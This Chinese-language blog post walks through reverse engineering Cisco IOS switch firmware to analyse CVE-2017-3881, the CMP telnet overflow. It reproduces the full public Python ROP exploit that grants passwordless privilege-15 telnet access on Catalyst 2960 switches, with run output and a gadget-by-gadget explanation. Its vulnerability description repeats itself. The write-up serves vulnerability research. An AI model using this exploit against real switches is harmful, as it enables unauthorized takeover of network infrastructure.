从CVE-2017-3881看Cisco IOS逆向

从Cisco的大型路由器的交换机系列开始学习Cisco的IOS逆向分析,IOS在设计模式上和分析上和简单的固件分析不同,尤其是调试,网上的资料也较为分散和稀少,这里根据一段时间的学习总结出一些方法...

0x00 前言

从Cisco的大型路由器的交换机系列开始学习Cisco的IOS逆向分析,IOS在设计模式上和分析上和简单的固件分析不同,尤其是调试,网上的资料也较为分散和稀少,这里根据一段时间的学习总结出一些方法,以CVE-2017-3881为线索,对Cisco的调试和逆向做一个归纳

0x01 漏洞描述

Cisco IOS 和 Cisco IOS XE 软件中的 Cisco 集群管理协议 (CMP) 处理代码中的漏洞可能允许未经身份验证的远程攻击者重新加载受影响的设备或远程执行具有提升权限的代码。集群管理协议在内部使用 Telnet 作为集群成员之间的信令和命令协议。该漏洞是由两个因素共同造成的:

(1) 未能将特定于 CMP 的 Telnet 选项的使用限制为仅用于集群成员之间的内部本地通信,而是通过与受影响设备的任何 Telnet 连接接受和处理此类选项;

(2) 错误处理特定于 CMP 的 Telnet 选项。攻击者可以通过发送格式错误的特定于 CMP 的 Telnet 选项来利用此漏洞,同时与配置为接受 Telnet 连接的受影响的 Cisco 设备建立 Telnet 会话。漏洞利用可能允许攻击者执行任意代码并获得对设备的完全控制或导致受影响设备的重新加载。

这会影响 Catalyst 交换机、Embedded Service 2020 交换机、增强型第 2 层 EtherSwitch 服务模块、增强型第 2/3 层 EtherSwitch 服务模块、用于 HP 的千兆以太网交换机模块 (CGESM)、IE 工业以太网交换机、ME 4924-10GE 交换机、RF 网关 10和 SM-X 第 2/3 层 EtherSwitch 服务模块。

思科错误 ID:CSCvd48893。漏洞利用可能允许攻击者执行任意代码并获得对设备的完全控制或导致受影响设备的重新加载。这会影响 Catalyst 交换机、Embedded Service 2020 交换机、增强型第 2 层 EtherSwitch 服务模块、增强型第 2/3 层 EtherSwitch 服务模块、用于 HP 的千兆以太网交换机模块 (CGESM)、IE 工业以太网交换机、ME 4924-10GE 交换机、RF 网关 10和 SM-X 第 2/3 层 EtherSwitch 服务模块。思科错误 ID:CSCvd48893。

漏洞利用可能允许攻击者执行任意代码并获得对设备的完全控制或导致受影响设备的重新加载。这会影响 Catalyst 交换机、Embedded Service 2020 交换机、增强型第 2 层 EtherSwitch 服务模块、增强型第 2/3 层 EtherSwitch 服务模块、用于 HP 的千兆以太网交换机模块 (CGESM)、IE 工业以太网交换机、ME 4924-10GE 交换机、RF 网关 10和 SM-X 第 2/3 层 EtherSwitch 服务模块。思科错误 ID:CSCvd48893。

0x02 MP思科集群管理协议

集群定义作为共享配置信息的一套机器。在集群内,Cisco设备分开成组,每集群包含至少一个组,单个计算机每次只可以是一组的成员。集群在对等体系结构里面实现没有主从关系。可以登录所有的计算机管理整个集群或组。

启用交换机集群之后,将向命令交换机分配一个虚拟IP地址,这称为CMP(集群管理协议),当交换机变为成员交换机之后,命令交换机为新成员生成另一个CMP地址,此地址用于任何ICC。命令交换机使用此CMP地址向候选交换机发送添消息。
候选交换机先检查,确保自己不属于另一个集群,然后再回复命令交换机。

用于ICC的CMP地址与用于交换机或集群管理的IP地址不同。CMP 地址不响应 ping。不响应 ping 的原因是,交换机集群中的所有 CMP 地址都存在相应的静态地址解析协议 (ARP) 条目,但是这些条目对集群外部环境是透明的。

集群内的通信使用 CMP 地址通信;ICC 执行通信传输。集群外部的任何通信均使用 IP 地址和 TCP/IP 传输机制。对于从 CMP 可寻址设备到外部 IP 可寻址设备的通信,命令交换机充当代理,并执行 CMP 和 TCP/IP 协议之间的转换。

0x03 交换机配置

理论上来说是要搭建一个集群环境验证一下telnet在集群里面的数据传输,但是后来想了一下,也没必要,两台交换机搭建的集群环境,倒是后我脚本模拟发包就行了,于是就直接上来配置路由器的telnet和ip等服务。

进入到交换机界面之后,首先尝试配置ip地址,enable进入特权模式,然后config进入配置模式,
然后配置网络信息,步骤如下:
首先进入vlan 1, 配置vlan 1的ip地址(也可以选择别的vlan)

  1. Switch# configure terminal
  2. Switch(config)#interface vlan 1
  3. Switch(config-if)#ip address 192.168.1.1 255.255.255.0
  4. Switch(config-if)#no shutdown
  5. Switch(config-if)#end

no shutdown一定要有,不然就没开启vlan1

然后配置一个端口给vlan1

  1. Switch(config)#interface GigabitEthernet 0/1
  2. Switch(config-if)#switchport access vlan 1
  3. Switch(config-if)#end
  4. Switch(config)#line vty 0 4 设置远程登录通道
  5. Switch(configline)#login
  6. Switch(configline)#password 111111 远程登录密码

这里也可能是配置Port-channel,网上说的是配置fastethernet,但是已经没有这个选项了.

配置完毕之后,给主机配置好静态的ip,然后连接上对应的port,就可以ping通了。

  1. PS C:\Users\username> ping 192.168.1.1
  2. 正在 Ping 192.168.1.1 具有 32 字节的数据:
  3. 来自 192.168.1.1 的回复: 字节=32 时间=1ms TTL=255
  4. 来自 192.168.1.1 的回复: 字节=32 时间=4ms TTL=255
  5. 来自 192.168.1.1 的回复: 字节=32 时间=1ms TTL=255
  6. 来自 192.168.1.1 的回复: 字节=32 时间=1ms TTL=255
  7. 192.168.1.1 Ping 统计信息:
  8. 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
  9. 往返行程的估计时间(以毫秒为单位):
  10. 最短 = 1ms,最长 = 4ms,平均 = 1ms

之后就是开启telnet服务。但是发现telnet好像是默认开启的,直接通过了telnet登录,密码就是cisco(之前配置的password)。

然后就是测试poc:针对catalyst 2960设备测试se1版本的poc,交换机直接crash了。下面是一部分的crash信息。

  1. 01:50:36 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 2000, PC = 14B8918
  2. -Traceback= 14B8918 14B8CD0 15349AC 153438C 15347B0 A30548
  3. Nested write_crashinfo call (2 times)

里面有pc的值,可能是偏移不对,然后也显示出了bin文件的入口点是0x3000,且系统重新加载的bin是se11,所以版本不一样,可能偏移就不一样。

然后测试了se11脚本,成功把telnet修改为无密码。

  1. PoC-CVE-2017-3881 python2 c2960-lanbasek9-m-12.2.55.se11.py 192.168.1.1 --set
  2. [+] Connection OK
  3. [+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
  4. [+] Sending cluster option
  5. [+] Setting credless privilege 15 authentication
  6. [+] All done
  7. PoC-CVE-2017-3881 telnet 192.168.1.1
  8. Trying 192.168.1.1...
  9. Connected to 192.168.1.1.
  10. Escape character is '^]'.
  11. Switch#

telnet之后直接进入了特权模式。

0x04 固件分析

下载固件可以通过catalyst机器,固件位于 flash:\<version>中,可以使用ftp传输出来。
固件名字为c2960-lanbasek9-mz.122-55.SE11.bin,也可以google直接搜索该固件名字,一般都有ftp服务器存储。

ftp传输也较为简单,在windows下起一个ftp服务,然后使用如下命令即可。

  1. Switch#copy flash:c2960-lanbasek9-mz.122-55.SE11/c2960-lanbasek9-mz.122-55.SE11.bin ftp://username:password@192.168.1.1
  2. Address or name of remote host [192.168.1.1]? 192.168.1.100
  3. Destination filename [c2960-lanbasek9-mz.122-55.SE11.bin]?
  4. Writing c2960-lanbasek9-mz.122-55.SE11.bin !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  5. 9822428 bytes copied in 9.488 secs (1035247 bytes/sec)

之后使用show version指令可以查看函数段加载的位置。

  1. Image text-base: 0x00003000, data-base: 0x01900000

使用binwalk解包只会获得一个叫做70的文件:

  1. _c2960-lanbasek9-mz.122-55.SE11.bin.extracted ls
  2. 70 _70.extracted
  3. _c2960-lanbasek9-mz.122-55.SE11.bin.extracted file 70
  4. 70: data

此时逆向有两个选项:对70分析,对bin文件分析。

根据资料可以知道文件系统是32位,大端,ppc架构,仅此,而搜索资料之后,对该漏洞的逆向分析,似乎都对某一个恢复固件中的函数步骤避开不谈。可看如下资料:

https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/ 最初的概念验证,其余资料基本都都是对其的翻译,

进行以上操作之后,就出现了字符串等,显然是没有提到其中的分析方法,而只是指出text和data段也不足以让ida分析至此。

之后再defcon上找到一篇演讲的pdf,主题正是该漏洞:https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-%20Artem-Kondratenko-Cisco-Catalyst-Exploitation.pdf

其中提到使用idapython对bin文件进行暴力搜索即可获得所有函数。

在如下网站找到了idapython自动识别函数的脚本
https://exploiting.wordpress.com/2011/12/06/quickpost-idapython-script-to-identify-unrecognized-functions/

  1. import idc
  2. import struct
  3. import idautils
  4. def find_all( opcode_str ):
  5. ret = []
  6. ea = idc.find_binary(0, 1, opcode_str)
  7. while ea != idc.BADADDR:
  8. ret.append(ea)
  9. ea = idc.find_binary(ea + 4, 1, opcode_str)
  10. return ret
  11. def define_functions():
  12. prologues = ["stwu", "lhz", "li", "cmpwi", "lis"]
  13. print("Finding all signatures")
  14. ea = 0
  15. opcodes = set()
  16. print(idc.get_segm_name(ea))
  17. # print(idc.get_segm_start(ea))
  18. # print(idc.get_segm_end(ea))
  19. # for funcea in idautils.Functions(idc.get_segm_start(ea),idc.get_segm_end(ea)):
  20. funcea = idc.get_segm_start(ea)
  21. while(funcea < idc.get_segm_end(ea)):
  22. # Get the opcode
  23. start_opcode = idc.Dword(funcea)
  24. # Get the disassembled text
  25. # print(hex(funcea))
  26. dis_text = idc.generate_disasm_line(funcea,1)
  27. we_like_it = False
  28. # Filter possible errors on manually defined functions
  29. for prologue in prologues:
  30. if prologue in dis_text:
  31. we_like_it = True
  32. # If it passes the filter, add the opcode to the search list.
  33. if we_like_it:
  34. opcodes.add(start_opcode)
  35. funcea+=4
  36. funcea+=1
  37. print("# different opcodes: %x" % (len(opcodes)))
  38. while len(opcodes) > 0:
  39. # Search for this opcode in the rest of the file
  40. opcode_bin = opcodes.pop()
  41. opcode_str = hex(opcode_bin)#" ".join(x for x in struct.pack("<L", opcode_bin))
  42. print("Searching for " + opcode_str)
  43. matches = find_all( opcode_str )
  44. for matchea in matches:
  45. # If the opcode is found in a non-function
  46. if not idc.get_func_name(matchea):
  47. # Try to make code and function
  48. print("Defining function at " + hex(matchea))
  49. # idc.MakeCode(matchea)
  50. idc.create_insn(matchea)
  51. idc.add_func(matchea)
  52. # idc.MakeFunction(matchea)
  53. print("We're done!")
  54. define_functions()

其原版的脚本不太行,按照意思改了一下,大致就是从地址的最初位置开始爆破搜索,根据函数序言开始判断函数,然后跑了快两个小时。
效果比较差,很多函数的内容不齐,明显是被迫变成函数的,其次代码段和数据段混杂在一起,函数根本无法辨认。

于是便不在纠结于这个漏洞,从头开始搜索一些Cisco IOS的逆向资料

IOS路由器逆向

路由器比交换机更加简单一点,找到一篇资料:https://f01965.com/2020/07/18/Cisco-IOS-%E5%88%86%E6%9E%90/

总的来说路由器的整个Bin文件,是一个ElF文件,利用这个特性,可以做出一些分析,情况分为两种:

  1. 未压缩的,以c2600-i-mz.121-3.T.bin为例
    使用binwalk查看
    Ihpw6.png
    可以发现,头部就是一个ElF标识头,为了更好的分析ELF的格式,使用010的template分析整个ELF文件的结构。
    Ihn6j.png
    此处标出来的字段,e_machine标识的是文件的架构,这里原来是002B,但是实际上该文件是powerPC架构,所以将此处改为0014,然后就可以直接ida分析了。
    IhRHK.png
  2. 第二种情况是有压缩的,以cisco 7200为例
    c7200-advipservicesk9-mz.150-1.M.bin,目标固件也是用binwalk分析,步骤和上面的一样,唯一不同的地方就是需要先把bin中的压缩包提取出来,然后在像上面一样,修复然后逆向。

IOS交换机逆向

交换机的逆向和路由器就有本质上的区别了,这里弄了很久都没有头绪,路由器的固件就是ELF文件,交换机的固件却不是ELF,所以不能像之前那样分析,但是个人认为思路可以借鉴,应该还是一样的魔改头部字段,然后在使用ida逆向。

目前找到的资料,最详细的就是defcon的pdf,使用idapyton的脚本,强制进行函数匹配,当然,此时已经知道了entry point和text_section,data_section。但是尝试之后失败。

又查找一些资料后发现,Cisco交换机的固件不是ELF文件,自然不能用ELF文件的方法逆向,交换机固件是mzip格式文件,可以分析mzip的头部字段,然后使用loader解析,分析之后理论上就可以获得可以逆向的IOS。该方法在Cisco shellcode all in one中提到过,也找到一个项目,专门解析Cisco mzip的文件。然而似乎又不是走这样的分析路线。其中的细节需要了解原文才能知道,于是我下载了演讲的PDF和视频,便于以后的研读。

同时编译使用mzip解压项目的报错也让我放弃了这种方法,lib库的缺少使得运行失败,但是实际上该lib库确实已经下载好了,所以该错误解决不了。

I3CpC.png

以上方法放弃之后,在GitHub上终于发现了一片有用的文章 https://gist.github.com/nstarke/ed0aba2c882b8b3078747a567ee00520

文章讲述了对于catalyst3750的逆向分析过程,但是却不是对bin文件的分析,而是要求对70这个解压后的文件分析,文中使用了Ghidra来代替ida进行分析,在Gidra中,设置text段,data段,和权限,即可让Ghidra自动分析,步骤如下:

首先设置entrypoint

I3nxF.png

然后设置data段的权限和位置: windows->memory map 然后选择分割。

I3iMN.png

然后静等分析即可,大约会分析40-50分钟,视固件而别,分析完毕之后,就可以和正常的逆向一样了。

等待的同时,尝试了使用ida分析70文件,不太理想,效果一般,ida能识别出一部分的代码和函数

IBmCR.png

但是更多的代码,ida没有识别出来,需要使用idapython或者手动辅助。

手动辅助就是手动的识别一些代码,同时和Ghidra一样,设置data段和权限。idapython则是利用ppc的特点,即函数的设置都是连续的,一个函数接着一个函数。所以可以用idapython做一些自动化的识别。

0x05 漏洞分析

漏洞成因是溢出,按照资料,搜索对应的字符串,CISCO_KITS,找到一处交叉引用。

  1. char * FUN_0004ecf0(void)
  2. {
  3. return "CISCO_KITS";
  4. }

简单的返回该字符串,查找该函数的调用关系。只存在一处函数调用。命名该函数为vul_func,然后进行分析。

很容易把目标放在最后的字符串处理上:
IGj3F.png
看起来像是一个格式化的字符串处理,然后把两个有关的值传递给了最后一个调用的函数。

关注点有两个个地方,第一个,该格式化处理函数有没有长度检测,是类似snprintf还是直接就是sprintf,第二,字符复制时候两个%s。
代码不长,全部贴出来

  1. int __fastcall sub_4EE14(int result)
  2. {
  3. v1 = (int *)result;
  4. if ( *(_BYTE *)(result + 269) )
  5. {
  6. if ( *(_BYTE *)(result + 269) == 1 )
  7. {
  8. v2 = sub_4ECF0();
  9. v3 = sub_4ECFC();
  10. v4 = (const char *)sub_4ED04(v1[6]);
  11. v5 = sub_F1B40C(128, v21, "%c%s%c%d:%s:%d:\x00\n", 3, v2, 1, v3, v4, *(_DWORD *)(v1[6] + 0xDDC) >> 28);
  12. result = sub_114EA14(v1, 36, 0, v21, v5);
  13. }
  14. return result;
  15. }
  16. v6 = result + 271;
  17. if ( *(_BYTE *)(result + 270) != 3 )
  18. {
  19. result = sub_4EAA0(result);
  20. v1[333] = 0;
  21. if ( !v1[334] )
  22. return result;
  23. return sub_4ECE0(v1);
  24. }
  25. v7 = sub_4ECF0();
  26. v8 = sub_16E92F4(v7);
  27. if ( sub_16E939C(v6, v7, v8) )
  28. {
  29. result = sub_4EAA0(v1);
  30. v1[333] = 0;
  31. if ( !v1[334] )
  32. return result;
  33. return sub_4ECE0(v1);
  34. }
  35. v9 = sub_4ECF0();
  36. v10 = sub_16E92F4(v9);
  37. v11 = *(unsigned __int8 *)(v6 + v10);
  38. v12 = (unsigned __int8 *)(v6 + v10 + 1);
  39. if ( v11 != 1 )
  40. {
  41. result = sub_4EAA0(v1);
  42. v1[333] = 0;
  43. if ( !v1[334] )
  44. return result;
  45. return sub_4ECE0(v1);
  46. }
  47. v13 = 0;
  48. for ( i = *v12; i != ':'; i = *v12 )
  49. {
  50. *((_BYTE *)&amp;back_chain[38] + v13++) = i;
  51. ++v12;
  52. }
  53. *((_BYTE *)&amp;back_chain[38] + v13) = 0;
  54. v15 = 0;
  55. v16 = v12 + 1;
  56. for ( j = *v16; j != ':'; j = *v16 )
  57. {
  58. v22[v15++] = j;
  59. ++v16;
  60. }
  61. v22[v15] = 0;
  62. v18 = sub_16E97A8(v16 + 1, ":");
  63. sub_4E7D8(v1, v22);
  64. v19 = sub_16E8F94(v18);
  65. result = sub_4E79C(v1, v19);
  66. if ( v1[0x14E] )
  67. result = sub_4ECE0(v1);
  68. return result;
  69. }

发生溢出的原因是,由两个for循环获得::中间的内容,而没有检查长度,所以导致了超长的输入可能。
所以在for循环赋值的时候,就发生了溢出,而不是在那个类似snprintf的结构里。

  1. for ( j = *v16; j != ':'; j = *v16 )
  2. {
  3. v22[v15++] = j;
  4. ++v16;
  5. }

溢出长度为0x70+4=0x74=116。

exp

官方exp在github上有很多,针对的是2960的SE1和SE11两个版本。

  1. #!/usr/bin/python
  2. import socket
  3. import sys
  4. from time import sleep
  5. set_credless = True
  6. if len(sys.argv) < 3:
  7. print sys.argv[0] + ' [host] --set/--unset'
  8. sys.exit()
  9. elif sys.argv[2] == '--unset':
  10. set_credless = False
  11. elif sys.argv[2] == '--set':
  12. pass
  13. else:
  14. print sys.argv[0] + ' [host] --set/--unset'
  15. sys.exit()
  16. s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
  17. s.connect((sys.argv[1], 23))
  18. print '[+] Connection OK'
  19. print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
  20. #sleep(0.5)
  21. print '[+] Sending cluster option'
  22. print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'
  23. payload = '\xff\xfa\x24\x00'
  24. payload += '\x03CISCO_KITS\x012:'
  25. payload += 'A' * 116
  26. payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
  27. #next bytes are shown as offsets from r1
  28. payload += '\x02\x2c\x8b\x74' # +8 address of pointer to is_cluster_mode function - 0x34
  29. if set_credless is True:
  30. payload += '\x00\x00\x99\x80' # +12 set address of func that rets 1
  31. else:
  32. payload += '\x00\x04\xea\x58' # unset
  33. payload += 'BBBB' # +16(+0) r1 points here at second gadget
  34. payload += '\x00\xdf\xfb\xe8' # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
  35. payload += 'CCCC' # +8
  36. payload += 'DDDD' # +12
  37. payload += 'EEEE' # +16(+0) r1 points here at third gadget
  38. payload += '\x00\x06\x78\x8c' # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
  39. payload += '\x02\x2c\x8b\x60' # +8 r1+8 = 0x022c8b60
  40. payload += 'FFFF' # +12
  41. payload += 'GGGG' # +16(+0) r1 points here at fourth gadget
  42. payload += '\x00\x6b\xa1\x28' # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
  43. if set_credless:
  44. payload += '\x00\x12\x52\x1c' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr;
  45. else:
  46. payload += '\x00\x04\xe6\xf0' # unset
  47. payload += 'HHHH' # +12
  48. payload += 'IIII' # +16(+0) r1 points here at fifth gadget
  49. payload += '\x01\x48\xe5\x60' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
  50. payload += 'JJJJ' # +8 r1 points here at third gadget
  51. payload += 'KKKK' # +12
  52. payload += 'LLLL' # +16
  53. payload += '\x01\x13\x31\xa8' # +20 original execution flow return addr
  54. payload += ':15:' + '\xff\xf0'
  55. s.send(payload)
  56. print '[+] All done'
  57. s.close()

exp中,注释错误,很多用的gadget不通rop,所以不用看exp中的注释,看接下来分析的ROP利用即可。

PPC中权限设置问题,导致shellcode不能写,所以只能凭借ROP达到利用程序本身函数的目的,而该程序又没有导入表,断然不能使用ret2libc之类的方法,所以利用者利用了打开telnet中的一个关键判断:(此处截图为3560SE5固件的截图)

IG2lK.png

此处,函数0x22C8BA8调用若为True,且v9函数的返回值v4为任何一个非0值,则将会导致系统返回一个telnet shell,且权限为v4。

我们可以利用ROP改变两个函数的内容(因为对应函数位置处于数据段,肯定是利用指针的形式间接调用函数),则即可使得无论如何,telnet指令都会返回权限为v4的shell。

利用的ROP过程如下:

IGPBE.png

第一此将关键函数1存储于r30,找到一处返回1的gadget存储于r31。

IGfPJ.png

第二处将r31的内容,传递给r30+0x34的位置,和gadget1相对于,即让目标函数1永远返回True。

IGJeh.png

最后几处gadget,也是同样的道理,而执行完ROP返回的地址则是正常流程的返回地址(也就是没有发生溢出应该执行的位置)

ROP中的+0x2c来自于原判断函数中,返回值为arg2+0xc,而传递的参数为addr+0x28,所以即为函数地址+0x28+c,则使用第三个gadget。

仿写exp的时候,最困难的就是找以上几个函数的地址,找gadget倒是简单,用ropper导出,然后搜就可以了。

  1. ropper -f 70 -a PPC --nocolor > 2.txt

IGdBR.png

需要注意的就是,基地址的差别,相差了0x3000。

而找ROP中目标判断函数的地址,花了比较久的时间,在不同的固件中,此位置寻找方法不一样,因为IDA识别字符串的交叉引用不太好,还是推荐使用Ghidra,在使用telnet的时候,可以发现字符串AAA/LOCAL:exec,这样的话在不同版本的固件中都可以凭借此字符串找到目标函数。

ICl2I.png

至此exp分析完毕,仿写的exp也能达到效果,至于最后exp中的返回值,有些地方还需要斟酌,对于其中的返回地址,ppc的栈结构以及被破坏,r1的调用为什么不会解析失败而crash,感觉有点玄学,如果有师傅知道,可以留言。

0x06 调试器

调试尝试了很多方法,说用IODIDE的比较多,IODIDE在github上能搜索到,是由nccgroup开发的,但是这个工具最后一次维护实在十年前,里面的python代码缩进和wx库在版本上的冲突导致代码可用性很低,所以还是选择了走最原始的道路。

使用python编写了一个简易的命令解析器,然后通过串口连接,真实连接的串口使用gdb kernel,python连接的串口发送指令和接受回复。

但是奇怪的是,串口信息只能通过python打开的句柄写数据,不能读取response,只有在另外一个串口才能看到输出。这串输出又是没有转义的,原因可能是单个串口不可以.
基于这个问题,尝试过GNS3模拟,但是找不到image,所以还是想办法解决单个串口的问题。

后来在windows下,每次gdb kernel之后,就把putty的窗口关掉,再用python连接,这样IO就没有混乱,成功接受到了调试信息。

ICC1n.png

但是这个东西其中的一些指令,实在是有点琢磨不透,continue啥的,也没有,setpi也没反应,nexti就卡住。断点也不知道怎么命中。

多做了很多尝试之后,发现,gdb kernel指令出来了,脚本就命中不了,所以要先c,然后运行脚本,在c之前先做好断点即可。其次就是寄存器的值不太对,调试的时候注意关键的内存变化就行了,ROP应该问题不大。

其次就是脚本本身的问题,脚本的作者没ppc设备,导致没有实践,实际上这些寄存器都是混乱的,这才导致了stepi没有反应。

修改后的脚本如下:

  1. from time import sleep
  2. import serial
  3. import time
  4. import logging
  5. from struct import pack, unpack
  6. import sys
  7. import capstone as cs
  8. from termcolor import colored
  9. logging.basicConfig(level=logging.INFO)
  10. logger = logging.getLogger(__name__)
  11. tn = None
  12. reg_map = {
  13. 1: 'gpr0', 2: 'gpr1', 3: 'gpr2', 4:'gpr3',
  14. 5:'gpr4', 6: 'gpr5', 7: 'gpr6', 8: 'gpr7',
  15. 9: 'gpr8', 10: 'gpr9', 11: 'gpr10', 12: 'gpr11',
  16. 13: 'gpr12', 14: 'gpr13', 15: 'gpr14', 16: 'gpr15',
  17. 17: 'gpr16', 18: 'gpr17', 19: 'gpr18', 20: 'gpr19',
  18. 21: 'gpr20', 22: 'gpr21', 23: 'gpr22', 24: 'gpr23',
  19. 25: 'gpr24', 26: 'gpr25', 27: 'gpr26', 28:
  20. 'gpr27', 29:'gpr28', 30: 'gpr29', 31:'gpr30',
  21. 32: 'gpr31', 33: 'pc', 34: 'sp', 35: 'cr', 36: 'lr', 37: 'ctr'
  22. }
  23. reg_map_rev = {}
  24. breakpoints = {}
  25. breakpoints_count = 0
  26. aslr_offset = None
  27. isSerial = True
  28. for k, v in reg_map.iteritems():
  29. reg_map_rev[v] = k
  30. if len(sys.argv) < 2:
  31. print 'Specify serial device as a parameter'
  32. sys.exit(1)
  33. ser = serial.Serial(
  34. port=sys.argv[1],baudrate=9600,
  35. timeout=5
  36. )
  37. def hexdump_gen(byte_string, _len=16, base_addr=0, n=0, sep='-'):
  38. FMT = '{} {} |{}|'
  39. not_shown = [' ']
  40. leader = (base_addr + n) % _len
  41. next_n = n + _len - leader
  42. while byte_string[n:]:
  43. col0 = format(n + base_addr - leader, '08x')
  44. col1 = not_shown * leader
  45. col2 = ' ' * leader
  46. leader = 0
  47. for i in bytearray(byte_string[n:next_n]):
  48. col1 += [format(i, '02x')]
  49. col2 += chr(i) if 31 < i < 127 else '.'
  50. trailer = _len - len(col1)
  51. if trailer:
  52. col1 += not_shown * trailer
  53. col2 += ' ' * trailer
  54. col1.insert(_len // 2, sep)
  55. yield FMT.format(col0, ' '.join(col1), col2)
  56. n = next_n
  57. next_n += _len
  58. def isValidDword(hexdword):
  59. if len(hexdword) != 8:
  60. return False
  61. try:
  62. hexdword.decode('hex')
  63. except TypeError:
  64. return False
  65. return True
  66. def checksum(command):
  67. csum = 0
  68. reply = ""
  69. for x in command:
  70. csum = csum + ord(x)
  71. csum = csum % 256
  72. reply = "$" + command + "#%02x" % csum
  73. return reply
  74. def decodeRLE(data):
  75. i=2
  76. multiplier=0
  77. reply=""
  78. while i < len(data):
  79. if data[i] == "*":
  80. multiplier = int(data[i+1] + data[i+2],16)
  81. for j in range (0, multiplier):
  82. reply = reply + data[i-1]
  83. i = i + 3
  84. if data[i] == "#":
  85. break
  86. reply = reply + data[i]
  87. i = i + 1
  88. return reply
  89. def print_help():
  90. print '''Command reference:
  91. c - continue program execution
  92. stepi - step into
  93. nexti - step over
  94. reg - print registers
  95. setreg <reg_name> <value> - set register value
  96. break <addr> - set break point
  97. info break - view breakpoints set
  98. del <break_num> - delete breakpoint
  99. read <addr> <len> - read memory
  100. write <addr> <value - write memory
  101. dump <startaddr> <endaddr> - dump memory within specified range
  102. gdb kernel - send "gdb kernel" command to IOS to launch GDB. Does not work on recent IOS versions.
  103. disas <addr> [aslr] - disassemble at address. Optional "aslr" parameter to account for code randomization
  104. set_aslr_offset - set aslr offset for code section
  105. you can also manually send any GDB RSP command
  106. '''
  107. def CreateGetMemoryReq(address, len):
  108. address = "m" + address + "," + len
  109. formatted = checksum(address)
  110. formatted = formatted + "\n"
  111. return formatted
  112. def DisplayRegistersPPC(regbuffer):
  113. regvals = [''] * 90
  114. buf = regbuffer
  115. for k, dword in enumerate([buf[i:i+8] for i in range(0, len(buf), 8)]):
  116. regvals[k] = dword
  117. return regvals
  118. def GdbCommand(command):
  119. global isSerial
  120. logger.debug('GdbCommand sending: {}'.format(checksum(command)))
  121. print checksum(command)
  122. ser.write('{}'.format(checksum(command)))
  123. if command == 'c':
  124. return ''
  125. out = ''
  126. char =''
  127. while char != "#":
  128. char = ser.read(1)
  129. out = out + char
  130. ser.read(2)
  131. print out
  132. logger.debug('Raw output from cisco: {}'.format(out))
  133. newrle = decodeRLE(out)
  134. logger.debug("Decode RLE: {}".format(newrle))
  135. decoded = newrle.decode()
  136. logger.debug("decoded: {}".format(decoded))
  137. while decoded[0] == "|" or decoded[0] == "+" or decoded[0] == "$":
  138. decoded = decoded[1:]
  139. return decoded
  140. def OnReadReg():
  141. regs = DisplayRegistersPPC(GdbCommand('g'))
  142. print 'All registers:'
  143. for k, reg_name in reg_map.iteritems():
  144. if regs[reg_map_rev[reg_name]]:
  145. print "{}: {}".format(reg_name, regs[reg_map_rev[reg_name]])
  146. print 'Control registers:'
  147. # print "PC: {} SP: {} RA: {}".format(regs[reg_map_rev['pc']],regs[reg_map_rev['sp']], regs[reg_map_rev['ra']])
  148. return regs
  149. def OnWriteReg(command):
  150. lex = command.split(' ')
  151. (_ , reg_name, reg_val) = lex[0:3]
  152. if reg_name not in reg_map_rev:
  153. logger.error('Unknown register specified')
  154. return
  155. if not isValidDword(reg_val):
  156. logger.error('Invalid register value supplied')
  157. return
  158. logger.debug("Setting register {} with value {}".format(reg_name, reg_val))
  159. regs = DisplayRegistersPPC(GdbCommand('g'))
  160. regs[reg_map_rev[reg_name]] = reg_val.lower()
  161. buf = ''.join(regs)
  162. logger.debug("Writing register buffer: {}".format(buf))
  163. res = GdbCommand('G{}'.format(buf))
  164. if 'OK' in res:
  165. return True
  166. else:
  167. return None
  168. def OnReadMem(addr, length):
  169. if not isValidDword(addr):
  170. logger.error('Invalid address supplied')
  171. return None
  172. if length > 199:
  173. logger.error('Maximum length of 199 exceeded')
  174. return None
  175. res = GdbCommand('m{},{}'.format(addr.lower(),hex(length)[2:]))
  176. if res.startswith('E0'):
  177. return None
  178. else:
  179. return res
  180. def OnWriteMem(addr, data):
  181. res = GdbCommand('M{},{}:{}'.format(addr.lower(), len(data)/2, data))
  182. if 'OK' in res:
  183. return True
  184. else:
  185. return None
  186. def hex2int(s):
  187. return unpack(">I", s.decode('hex'))[0]
  188. def int2hex(num):
  189. return pack(">I", num &amp; 0xffffffff).encode('hex')
  190. def OnBreak(command):
  191. global breakpoints
  192. global breakpoints_count
  193. lex = command.split(' ')
  194. (_ ,addr) = lex[0:2]
  195. if not isValidDword(addr):
  196. logger.error('Invalid address supplied')
  197. return
  198. if len(lex) == 3:
  199. if lex[2] == 'aslr' and aslr_offset != None:
  200. addr = int2hex(hex2int(addr) + aslr_offset)
  201. addr = addr.lower().rstrip()
  202. if addr in breakpoints:
  203. logger.info('breakpoint already set')
  204. return
  205. opcode_to_save = OnReadMem(addr, 4)
  206. if opcode_to_save is None:
  207. logger.error('Can\'t set breakpoint at {}. Read error'.format(addr))
  208. return
  209. res = OnWriteMem(addr, '7fe00008')
  210. if res:
  211. breakpoints_count += 1
  212. breakpoints[addr] = (breakpoints_count, opcode_to_save)
